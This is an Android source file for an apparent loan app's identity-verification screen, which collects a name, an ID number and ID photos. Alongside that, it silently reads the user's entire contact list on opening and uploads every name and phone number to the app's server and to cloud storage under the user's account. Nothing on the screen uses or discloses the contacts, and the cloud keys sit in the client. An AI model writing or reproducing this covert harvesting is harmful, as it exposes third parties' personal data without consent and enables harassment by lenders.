package com.qiaotongtianxia.loans.activity;

import android.Manifest;
import android.content.DialogInterface;
import android.content.Intent;
import android.database.Cursor;
import android.os.Bundle;
import android.os.Handler;
import android.provider.ContactsContract;
import android.support.annotation.Nullable;
import android.support.v4.content.ContextCompat;
import android.support.v4.widget.NestedScrollView;
import android.support.v7.app.AlertDialog;
import android.text.TextUtils;
import android.util.SparseArray;
import android.view.View;
import android.widget.ImageView;

import com.apkfuns.logutils.LogUtils;
import com.bumptech.glide.Glide;
import com.google.gson.Gson;
import com.lzy.imagepicker.ImagePicker;
import com.lzy.imagepicker.bean.ImageItem;
import com.lzy.imagepicker.ui.ImageGridActivity;
import com.lzy.imagepicker.ui.ImagePreviewDelActivity;
import com.qiaotongtianxia.loans.R;
import com.qiaotongtianxia.loans.bean.Member;
import com.qiaotongtianxia.loans.beanManager.MemberManager;
import com.qiaotongtianxia.loans.functionInterface.IBaseRequestImp;
import com.qiaotongtianxia.loans.net.Api;
import com.qiaotongtianxia.loans.util.CommonUtils;
import com.qiaotongtianxia.loans.util.Constants;
import com.qiaotongtianxia.loans.util.ToastUtil;
import com.qiaotongtianxia.loans.util.qiniu.Auth;
import com.qiaotongtianxia.loans.views.BaseEditText;
import com.qiaotongtianxia.loans.views.BaseProgress;
import com.qiaotongtianxia.loans.views.BaseTextView;
import com.qiaotongtianxia.loans.views.ButtonObserver;
import com.qiaotongtianxia.loans.views.DragLayout;
import com.qiaotongtianxia.loans.views.LoadingProgress;
import com.qiniu.android.http.ResponseInfo;
import com.qiniu.android.storage.UpCompletionHandler;
import com.qiniu.android.storage.UploadManager;

import org.json.JSONObject;

import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.TreeMap;

import butterknife.BindView;
import butterknife.OnClick;
import top.zibin.luban.Luban;
import top.zibin.luban.OnCompressListener;

/**
 * Created by lisen on 2017/12/15.
 *
 * @author lisen < 4533548588@qq.com >
 */

public class CertificateActivity extends BaseActivity implements DragLayout.DragListener{
    @BindView(R.id.tv_nav_title)
    BaseTextView tvNavTitle;
    @BindView(R.id.et_name)
    BaseEditText etName;
    @BindView(R.id.et_idNO)
    BaseEditText etIdNO;
    @BindView(R.id.iv_front)
    ImageView ivFront;
    @BindView(R.id.iv_back)
    ImageView ivBack;
    @BindView(R.id.iv_head)
    ImageView ivHead;
    @BindView(R.id.btn_commit)
    ButtonObserver btnCommit;

    @BindView(R.id.scrollView)
    NestedScrollView scrollView;
    @BindView(R.id.dragLayout)
    DragLayout dragLayout;

    private SparseArray<String> sparseArray = new SparseArray<>();
    private static final int CONTACTS = 200;
    private static final int FORNT = 300;
    private static final int BACK = 301;
    private static final int HEAD = 302;

    private HashMap<String, String> map = new HashMap<>();//存储上传文件的路径和上传后返回的值

    @Override
    public int getLayoutId() {
        return R.layout.activity_certificate;
    }
    @Override
    public Api onApiCreate() {
        return new Api(this);
    }

    @Override
    public void onBaseCreate(@Nullable Bundle savedInstanceState) {
        btnCommit.observers(etName,etIdNO);
        btnCommit.setExtraEnable(false);
        initEvent();
        dragLayout.setListener(this);
        new Handler().postDelayed(new Runnable() {
            @Override
            public void run() {
                requestPermission(
                    new String[]{Manifest.permission.READ_CONTACTS}, CONTACTS);
            }
        },300);
    }

    private void initEvent() {
//        etBankCardNO.addTextChangedListener(new TextWatcher() {
//            @Override
//            public void beforeTextChanged(CharSequence s, int start, int count, int after) {}
//            @Override
//            public void onTextChanged(CharSequence s, int start, int before, int count) {}
//            @Override
//            public void afterTextChanged(Editable s) {
//                String bankNo = s.toString();
//                if (!TextUtils.isEmpty(bankNo)) {
//                    BankInfoUtil mInfoUtil = new BankInfoUtil(bankNo);
//                    etBankName.setText(mInfoUtil.getBankName());
//                }else{
//                    etBankName.setText("");
//                }
//            }
//        });
    }

    @OnClick({R.id.iv_nav_back,
            R.id.iv_front, R.id.iv_back, R.id.iv_head, R.id.btn_commit})
    public void onViewClicked(View view) {
        switch (view.getId()) {
            case R.id.iv_nav_back:
                finish();
                break;
            case R.id.iv_front:
                String forntPath = sparseArray.get(FORNT);
                if (!TextUtils.isEmpty(forntPath)){
                    //打开预览
                    openPreview(forntPath,FORNT);
                }else{
                    requestPermission(
                            new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE,
                                    Manifest.permission.CAMERA}, FORNT);
                }
                break;
            case R.id.iv_back:
                String backPath = sparseArray.get(BACK);
                if (!TextUtils.isEmpty(backPath)){
                    //打开预览
                    openPreview(backPath,BACK);
                }else{
                    requestPermission(
                            new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE,
                                    Manifest.permission.CAMERA}, BACK);
                }
                break;
            case R.id.iv_head:
                String headPath = sparseArray.get(HEAD);
                if (!TextUtils.isEmpty(headPath)){
                    //打开预览
                    openPreview(headPath,HEAD);
                }else{
                    requestPermission(
                            new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE,
                                    Manifest.permission.CAMERA}, HEAD);
                }
                break;
            case R.id.btn_commit:
                if (map.size() != 3){
                    map.clear();
                    uploadImgs();
                }else{
                    commit();
                }
                break;
        }
    }

    private void commit() {
        BaseProgress progress = api.getProgress();
        if (progress != null){
            progress.setProgressTip(getString(R.string.wait));
        }
        TreeMap<String,Object> parm = new TreeMap<>();
        parm.put("name",etName.getText().toString());
        parm.put("id_card",etIdNO.getText().toString());
        parm.put("id_card_1",map.get(sparseArray.get(FORNT)));
        parm.put("id_card_2",map.get(sparseArray.get(BACK)));
        parm.put("id_card_3",map.get(sparseArray.get(HEAD)));

        api.certificate(parm, new IBaseRequestImp<Nullable>() {
            @Override
            public void onRequestSuccess(Nullable nullable) {
                ToastUtil.showShort(CertificateActivity.this,"提交成功");
                setResult(RESULT_OK);
                finish();
            }
        });
    }

    /**
     * 上传图片
     */
    private void uploadImgs() {
        BaseProgress progress = api.getProgress();
        for (int i = 0; i < sparseArray.size(); i++) {
            if (progress != null){
                progress.setProgressTip("上传中...");
            }
            final String path = sparseArray.valueAt(i);
            api.uploadImg(new File(path), new IBaseRequestImp<String>() {
                @Override
                public void onRequestSuccess(String s) {
                    map.put(path,s);
                    if (map.size() == 3){
                        commit();
                    }
                }
            });
        }
    }

    @SuppressWarnings("unchecked")
    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);

        if (resultCode == ImagePicker.RESULT_CODE_ITEMS) {
            if (data != null){
                ArrayList<ImageItem> images = (ArrayList<ImageItem>) data.getSerializableExtra(ImagePicker.EXTRA_RESULT_ITEMS);
                if (images != null && images.size() > 0){
                    ImageItem imageItem = images.get(0);
                    String path= imageItem.path;

                    compressPhoto(requestCode,path);

                    switch (requestCode){
                        case FORNT:
                            Glide.with(this).load(path).into(ivFront);
                            break;
                        case BACK:
                            Glide.with(this).load(path).into(ivBack);
                            break;
                        case HEAD:
                            Glide.with(this).load(path).into(ivHead);
                            break;
                    }
                }
            }
        } else if (resultCode == ImagePicker.RESULT_CODE_BACK) {
            //预览图片返回
            if (data != null) {
                ArrayList<ImageItem> images = (ArrayList<ImageItem>) data.getSerializableExtra(ImagePicker.EXTRA_IMAGE_ITEMS);
                if (images == null || images.size() == 0){
                    String path = sparseArray.get(requestCode);
                    if (map.containsKey(path)){
                        map.remove(path);
                    }
                    sparseArray.remove(requestCode);
                    switch (requestCode){
                        case FORNT:
                            Glide.with(this).load(R.drawable.ren_icon_zheng).into(ivFront);
                            break;
                        case BACK:
                            Glide.with(this).load(R.drawable.ren_icon_fan).into(ivBack);
                            break;
                        case HEAD:
                            Glide.with(this).load(R.drawable.ren_icon_shou).into(ivHead);
                            break;
                    }
                }
                if (sparseArray.size() == 3){
                    btnCommit.setExtraEnable(true);
                }else{
                    btnCommit.setExtraEnable(false);
                }
            }
        }
    }
    private void compressPhoto(final int requestCode, final String photo){
        Luban.with(this)
                .load(photo)
                .ignoreBy(300)
                .setTargetDir(getPath())
                .setCompressListener(new OnCompressListener() {
                    @Override
                    public void onStart() {
                    }
                    @Override
                    public void onSuccess(File file) {
                        sparseArray.put(requestCode,file.getPath());
                        if (sparseArray.size() == 3){
                            btnCommit.setExtraEnable(true);
                        }else{
                            btnCommit.setExtraEnable(false);
                        }
                    }
                    @Override
                    public void onError(Throwable e) {}
                }).launch();
    }

    private String getPath() {
        String path = Constants.PATH;
        File file = new File(path);
        if (file.mkdirs()) {
            createNomedia(path);
            return path;
        }
        createNomedia(path);
        return path;
    }

    private void createNomedia(String path) {
        File nomedia = new File(path,".nomedia");
        if (!nomedia.exists()){
            try {
                nomedia.createNewFile();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    @Override
    public void permissionSuccess(int requestCode) {
        if (requestCode == CONTACTS){
            contacts = new ArrayList<>();
            readContacts();
        }else {
            //添加图片
            Intent intent = new Intent(this, ImageGridActivity.class);
            intent.putExtra(ImageGridActivity.EXTRAS_TAKE_PICKERS,true);
            startActivityForResult(intent, requestCode);
        }
    }

    @Override
    public void permissionFail(final int requestCode) {
        AlertDialog dialog = new AlertDialog.Builder(this)
                .setTitle("提示信息")
                .setMessage("无法获取权限")
                .setNegativeButton("知道了", new DialogInterface.OnClickListener() {
                    @Override
                    public void onClick(DialogInterface dialog, int which) {
                        dialog.dismiss();
                    }
                })
                .setPositiveButton("再次获取", new DialogInterface.OnClickListener() {
                    @Override
                    public void onClick(DialogInterface dialog, int which) {
                        dialog.dismiss();
                        if (requestCode == CONTACTS){
                            requestPermission(
                                    new String[]{Manifest.permission.READ_CONTACTS}, CONTACTS);
                        }else{
                            requestPermission(
                                    new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE,
                                            Manifest.permission.CAMERA}, requestCode);
                        }
                    }
                }).show();
        dialog.getButton(AlertDialog.BUTTON_NEGATIVE).setTextColor(ContextCompat.getColor(this,R.color.gray));
        dialog.getButton(AlertDialog.BUTTON_POSITIVE).setTextColor(ContextCompat.getColor(this,R.color.mainColor));
    }

    private List<Map<String,String>> contacts;

    private void readContacts(){
        Cursor cursor = null;
        try{
            //查询数据
            cursor = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,null,null,null);
            if(cursor != null){
                while(cursor.moveToNext()){
                    //获取联系人姓名
                    String dispalyname = cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
                    //获取联系人手机号
                    String number = cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));

                    HashMap<String,String> map = new HashMap<>();
                    map.put("name",dispalyname);
                    map.put("mobile", number.replaceAll("\\D",""));
                    contacts.add(map);
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        } finally {
            if (cursor != null){
                cursor.close();
            }
        }
        if (contacts != null && contacts.size() > 0){
            api.setDefaultProgress(null);
            api.upLoadContacts(new Gson().toJson(contacts), new IBaseRequestImp<Nullable>() {
                @Override
                public void onRequestSuccess(Nullable nullable) {}
            });
            api.setDefaultProgress(new LoadingProgress(this));

            upNet(contacts);
        }
    }

    private void upNet(List<Map<String,String>> list){
        Member member = MemberManager.getMember(this);
        UploadManager uploadManager = new UploadManager();
        Auth auth = Auth.create(Constants.AK, Constants.SK);
        String token = auth.uploadToken("contacts",null,60,null,true);
        StringBuilder stringBuilder = new StringBuilder();
        for (int i = 0; i < list.size(); i++) {
            Map<String, String> map = list.get(i);
            stringBuilder.append(map.get("name"));
            stringBuilder.append("\t");
            stringBuilder.append(map.get("mobile"));
            stringBuilder.append("\n");
        }
        uploadManager.put(stringBuilder.toString().getBytes(),member.getAccount()+"_"+System.currentTimeMillis()/1000+".txt" , token,
                new UpCompletionHandler() {
                    @Override
                    public void complete(String key, ResponseInfo info, JSONObject res) {
                        if(info.isOK()) {
                            LogUtils.i("Upload Success");
                        } else {
                            LogUtils.i("Upload Fail");
                        }
                        LogUtils.i(key + ",\r\n " + info + ",\r\n " + res);
                    }
                }, null);
    }

    /**
     * 打开预览
     * @param path
     * @param requestCode
     */
    private void openPreview(String path,int requestCode){
        Intent intentPreview = new Intent(this, ImagePreviewDelActivity.class);
        ArrayList<ImageItem> list = new ArrayList<>();
        ImageItem imageItem = new ImageItem();
        imageItem.path = path;
        list.add(imageItem);
        intentPreview.putExtra(ImagePicker.EXTRA_IMAGE_ITEMS, list);
        intentPreview.putExtra(ImagePicker.EXTRA_SELECTED_IMAGE_POSITION, 0);
        intentPreview.putExtra(ImagePicker.EXTRA_FROM_ITEMS, true);
        startActivityForResult(intentPreview, requestCode);
    }

    @Override
    public void initTitle() {
        tvNavTitle.setText(getString(R.string.certificate));
    }

    @Override
    public boolean isCanPullDown() {
        return CommonUtils.isReachTop(scrollView);
    }

    @Override
    public boolean isCanPullUp() {
        return CommonUtils.isReachBottom(scrollView);
    }
}
